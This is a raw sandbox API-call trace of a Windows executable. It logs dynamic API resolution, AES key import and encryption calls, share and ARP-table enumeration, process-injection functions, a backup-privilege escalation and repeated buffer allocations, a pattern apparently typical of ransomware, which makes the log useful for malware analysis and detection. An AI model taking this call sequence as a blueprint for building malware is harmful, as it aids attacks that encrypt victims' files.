	[0187.371] CryptAcquireContextA (in: phProv=0x73a48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x73a48*=0x34d8d0) returned 1
	[0187.372] CryptCreateHash (in: hProv=0x34d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73a50 | out: phHash=0x73a50) returned 1
	[0187.372] CryptHashData (hHash=0x34eb20, pbData=0x73b20, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0187.372] CryptGetHashParam (in: hHash=0x34eb20, dwParam=0x2, pbData=0x73a70, pdwDataLen=0x73a40, dwFlags=0x0 | out: pbData=0x73a70, pdwDataLen=0x73a40) returned 1
	[0187.373] CryptReleaseContext (hProv=0x34d8d0, dwFlags=0x0) returned 1
	[0187.373] CryptDestroyHash (hHash=0x34eb20) returned 0
	[0187.373] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0187.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0187.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0187.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0187.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0187.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0187.373] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0187.373] CryptAcquireContextA (in: phProv=0x73a48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x73a48*=0x34d8d0) returned 1
	[0187.375] CryptCreateHash (in: hProv=0x34d8d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73a50 | out: phHash=0x73a50) returned 1
	[0187.375] CryptHashData (hHash=0x34eb90, pbData=0x73b20, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0187.375] CryptGetHashParam (in: hHash=0x34eb90, dwParam=0x2, pbData=0x73a70, pdwDataLen=0x73a40, dwFlags=0x0 | out: pbData=0x73a70, pdwDataLen=0x73a40) returned 1
	[0187.375] CryptReleaseContext (hProv=0x34d8d0, dwFlags=0x0) returned 1
	[0187.375] CryptDestroyHash (hHash=0x34eb90) returned 0
	[0187.376] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76f20000
	[0187.376] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x7fefa660000
	[0187.380] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x7fefddc0000
	[0187.380] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefe130000
	[0187.634] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x7fefe6b0000
	[0187.646] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x7fefaa30000
	[0187.651] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFree") returned 0x76f31260
	[0187.651] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140
	[0187.651] GetProcAddress (hModule=0x76f20000, lpProcName="DeleteFileW") returned 0x76f2ad90
	[0187.651] GetProcAddress (hModule=0x76f20000, lpProcName="GetLastError") returned 0x76f42dd0
	[0187.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetDriveTypeW") returned 0x76f3bdf0
	[0187.652] GetProcAddress (hModule=0x76f20000, lpProcName="GetCommandLineW") returned 0x76f3c480
	[0187.803] GetProcAddress (hModule=0x76f20000, lpProcName="GetStartupInfoW") returned 0x76f38070
	[0187.803] GetProcAddress (hModule=0x76f20000, lpProcName="FindNextFileW") returned 0x76f31910
	[0187.803] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAlloc") returned 0x76f367a0
	[0187.803] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameA") returned 0x7fefddcdc20
	[0187.804] GetProcAddress (hModule=0x76f20000, lpProcName="ExitProcess") returned 0x771640f0
	[0187.804] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76f6bb30
	[0187.804] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessA") returned 0x76fb8840
	[0187.804] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetIpNetTable") returned 0x7fefaa3e558
	[0187.804] GetProcAddress (hModule=0x76f20000, lpProcName="GetVersionExW") returned 0x76f2d910
	[0187.804] GetProcAddress (hModule=0x76f20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76f6bb40
	[0187.804] GetProcAddress (hModule=0x76f20000, lpProcName="GetSystemDefaultLangID") returned 0x76f294e0
	[0187.805] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetUserNameW") returned 0x7fefddd1fd0
	[0187.805] GetProcAddress (hModule=0x76f20000, lpProcName="ReadFile") returned 0x76f31500
	[0187.805] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegQueryValueExA") returned 0x7fefdddc480
	[0187.805] GetProcAddress (hModule=0x76f20000, lpProcName="CloseHandle") returned 0x76f42f80
	[0187.805] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegSetValueExW") returned 0x7fefddd1ed0
	[0187.805] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegCloseKey") returned 0x7fefdde0710
	[0187.805] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileA") returned 0x76fb5620
	[0187.805] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesW") returned 0x76f337a0
	[0187.805] GetProcAddress (hModule=0x76f20000, lpProcName="WinExec") returned 0x76fb8d80
	[0187.805] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDeriveKey") returned 0x7fefddfb6b0
	[0187.806] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGenKey") returned 0x7fefddc19bc
	[0187.806] GetProcAddress (hModule=0x76f20000, lpProcName="Sleep") returned 0x76f42b70
	[0187.806] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcess") returned 0x76f35cf0
	[0187.806] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteW") returned 0x7fefe6c983c
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSize") returned 0x76f2f9d0
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="GlobalAlloc") returned 0x76f280c0
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="FindClose") returned 0x76f3bd60
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForMultipleObjects") returned 0x76f31170
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameA") returned 0x76f364a0
	[0187.807] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="ShellExecuteA") returned 0x7fefe90ec80
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleHandleA") returned 0x76f365e0
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="GetModuleFileNameW") returned 0x76f37700
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileA") returned 0x76f431f0
	[0187.807] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileSizeEx") returned 0x76f29b30
	[0187.808] GetProcAddress (hModule=0x76f20000, lpProcName="WriteFile") returned 0x76f435a0
	[0187.808] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalDrives") returned 0x76f2b930
	[0187.808] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetEnumResourceA") returned 0x7fefa66bcfc
	[0187.809] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExW") returned 0x7fefdde06f0
	[0187.809] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetCloseEnum") returned 0x7fefa6642dc
	[0187.809] GetProcAddress (hModule=0x76f20000, lpProcName="GetWindowsDirectoryW") returned 0x76f282b0
	[0187.809] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileAttributesA") returned 0x76f22d50
	[0187.809] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegOpenKeyExA") returned 0x7fefdddb5f0
	[0187.809] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointer") returned 0x76f31150
	[0187.809] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount") returned 0x76f42b00
	[0187.809] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesW") returned 0x76f3bdd0
	[0187.809] GetProcAddress (hModule=0x76f20000, lpProcName="FindFirstFileW") returned 0x76f3bd80
	[0187.810] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextW") returned 0x7fefddcd98c
	[0187.810] GetProcAddress (hModule=0x76f20000, lpProcName="MoveFileExW") returned 0x76f23060
	[0187.810] GetProcAddress (hModule=0x7fefa660000, lpProcName="WNetOpenEnumA") returned 0x7fefa66bc68
	[0187.810] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitialize") returned 0x7fefe14a51c
	[0187.810] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDecrypt") returned 0x7fefddfb6d0
	[0187.810] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptImportKey") returned 0x7fefddcaf6c
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="SetFilePointerEx") returned 0x76f2af00
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileW") returned 0x76f292d0
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibrary") returned 0x76f36620
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="CreateProcessW") returned 0x76f41bb0
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="CreateDirectoryW") returned 0x76f2ad70
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThread") returned 0x76f36580
	[0187.811] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyKey") returned 0x7fefddcafa0
	[0187.811] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="CreateFileW") returned 0x76f31870
	[0187.811] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileAttributesA") returned 0x76f313e0
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptEncrypt") returned 0x7fefddfb650
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="RegDeleteValueW") returned 0x7fefddcbbb0
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="EnumServicesStatusW") returned 0x7fefde0d5f0
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="GetTokenInformation") returned 0x7fefdddbd50
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="ImpersonateSelf") returned 0x7fefddcc180
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdddb9e0
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenProcessToken") returned 0x7fefdddbd70
	[0187.812] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenSCManagerW") returned 0x7fefddcc2a8
	[0187.813] GetProcAddress (hModule=0x7fefddc0000, lpProcName="OpenThreadToken") returned 0x7fefdddbd84
	[0187.813] GetProcAddress (hModule=0x7fefddc0000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdddb9b0
	[0187.813] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualAllocEx") returned 0x76f6bbd0
	[0187.813] GetProcAddress (hModule=0x7fefddc0000, lpProcName="LookupAccountSidW") returned 0x7fefdddb898
	[0187.813] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c
	[0187.813] GetProcAddress (hModule=0x76f20000, lpProcName="WriteProcessMemory") returned 0x76f6bad0
	[0187.813] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFreeEx") returned 0x76f6bb90
	[0187.813] GetProcAddress (hModule=0x76f20000, lpProcName="CreateRemoteThread") returned 0x76f6c4f0
	[0187.813] GetProcAddress (hModule=0x7fefaa30000, lpProcName="GetAdaptersAddresses") returned 0x7fefaa32ab4
	[0187.814] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCloseHandle") returned 0x7fefaa37cc0
	[0187.814] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpCreateFile") returned 0x7fefaa38250
	[0187.814] GetProcAddress (hModule=0x7fefaa30000, lpProcName="IcmpSendEcho") returned 0x7fefaa38340
	[0187.814] SetLastError (dwErrCode=0x0) 
	[0187.814] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe\" 8 LAN"
	[0187.814] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe\" 8 LAN", pNumArgs=0x74690 | out: pNumArgs=0x74690) returned 0x357610*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SawWHUYCUlan.exe"
	[0187.814] GetLastError () returned 0x0
	[0187.814] Sleep (dwMilliseconds=0x1388) 
	[0193.605] SetLastError (dwErrCode=0x0) 
	[0193.605] GetCurrentThread () returned 0xfffffffffffffffe
	[0193.605] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x73da0 | out: TokenHandle=0x73da0*=0x1cfaa52700) returned 0
	[0193.605] GetLastError () returned 0x3f0
	[0193.606] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0193.606] GetCurrentThread () returned 0xfffffffffffffffe
	[0193.606] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x73da0 | out: TokenHandle=0x73da0*=0x8c) returned 1
	[0193.607] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x73d28 | out: lpLuid=0x73d28*(LowPart=0x11, HighPart=0)) returned 1
	[0193.786] AdjustTokenPrivileges (in: TokenHandle=0x8c, DisableAllPrivileges=0, NewState=0x73cf0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0193.787] GetLastError () returned 0x0
	[0193.787] GetVersionExW (in: lpVersionInformation=0x73be0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x73be0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0193.787] GetWindowsDirectoryW (in: lpBuffer=0x13f91dad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0193.787] GetWindowsDirectoryW (in: lpBuffer=0x13f91dc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0193.787] CryptAcquireContextW (in: phProv=0x13f91db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13f91db38*=0x0) returned 0
	[0193.807] CryptAcquireContextW (in: phProv=0x13f91db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13f91db38*=0x35ab70) returned 1
	[0193.823] CryptImportKey (in: hProv=0x35ab70, pbData=0x13f7de310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13f91dc80 | out: phKey=0x13f91dc80*=0x34f0d0) returned 1
	[0193.823] Sleep (dwMilliseconds=0x3e8) 
	[0195.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c5b28, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0
	[0195.313] GetTickCount () returned 0x11766de
	[0195.313] Sleep (dwMilliseconds=0xc6be) 
	[0206.383] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x1f20000
	[0206.383] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000
	[0206.383] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2020000
	[0206.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000
	[0206.384] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2210000
	[0206.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0000
	[0206.384] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2310000
	[0206.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x200000
	[0206.385] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2410000
	[0206.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x210000
	[0206.385] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2510000
	[0206.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2120000
	[0206.386] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2610000
	[0206.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2130000
	[0206.386] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2710000
	[0206.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2140000
	[0206.386] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2810000
	[0206.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2150000
	[0206.387] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2910000
	[0206.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2160000
	[0206.579] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2a10000
	[0206.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2170000
	[0206.580] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2b10000
	[0206.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2180000
	[0206.580] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2c10000
	[0206.581] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2d10000
	[0206.581] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2d20000
	[0206.581] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e20000
	[0206.581] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2e30000
	[0206.582] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2f30000
	[0206.582] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2f40000
	[0206.582] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3040000
	[0206.582] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3050000
	[0206.583] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3150000
	[0206.583] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3160000
	[0206.583] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3260000
	[0206.584] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3270000
	[0206.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3370000
	[0206.584] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3380000
	[0206.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3480000
	[0206.585] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3490000
	[0206.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3590000
	[0206.585] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x35a0000
	[0206.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x36a0000
	[0206.586] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x36b0000
	[0206.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x37b0000
	[0206.586] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x37c0000
	[0206.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x38c0000
	[0206.587] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x38d0000
	[0206.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x39d0000
	[0206.587] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x39e0000
	[0206.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3ae0000
	[0206.588] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3af0000
	[0206.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3bf0000
	[0206.589] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3c00000
	[0206.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3d00000
	[0206.589] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3d10000
	[0206.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3e10000
	[0206.590] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3e20000
	[0206.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3f20000
	[0206.591] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f30000
	[0206.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4030000
	[0206.591] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4040000
	[0206.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4140000
	[0206.592] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4150000
	[0206.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4250000
	[0206.592] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4260000
	[0206.593] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4360000
	[0206.593] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4370000
	[0206.593] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4470000
	[0206.594] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4480000
	[0206.594] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4580000
	[0206.594] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4590000
	[0206.594] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4690000
	[0206.595] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x46a0000
	[0206.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x47a0000
	[0206.595] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x47b0000
	[0206.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x48b0000
	[0206.596] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x48c0000
	[0206.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x49c0000
	[0206.597] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x49d0000
	[0206.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ad0000
	[0206.598] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ae0000
	[0206.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4be0000
	[0206.598] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4bf0000
	[0206.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4cf0000
	[0206.599] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4d00000
	[0206.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4e00000
	[0206.600] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4e10000
	[0206.600] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f10000
	[0206.600] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4f20000
	[0206.600] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5020000
	[0206.601] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5030000
	[0206.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5130000
	[0206.601] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5140000
	[0206.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5240000
	[0206.602] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5250000
	[0206.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5350000
	[0206.603] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5360000
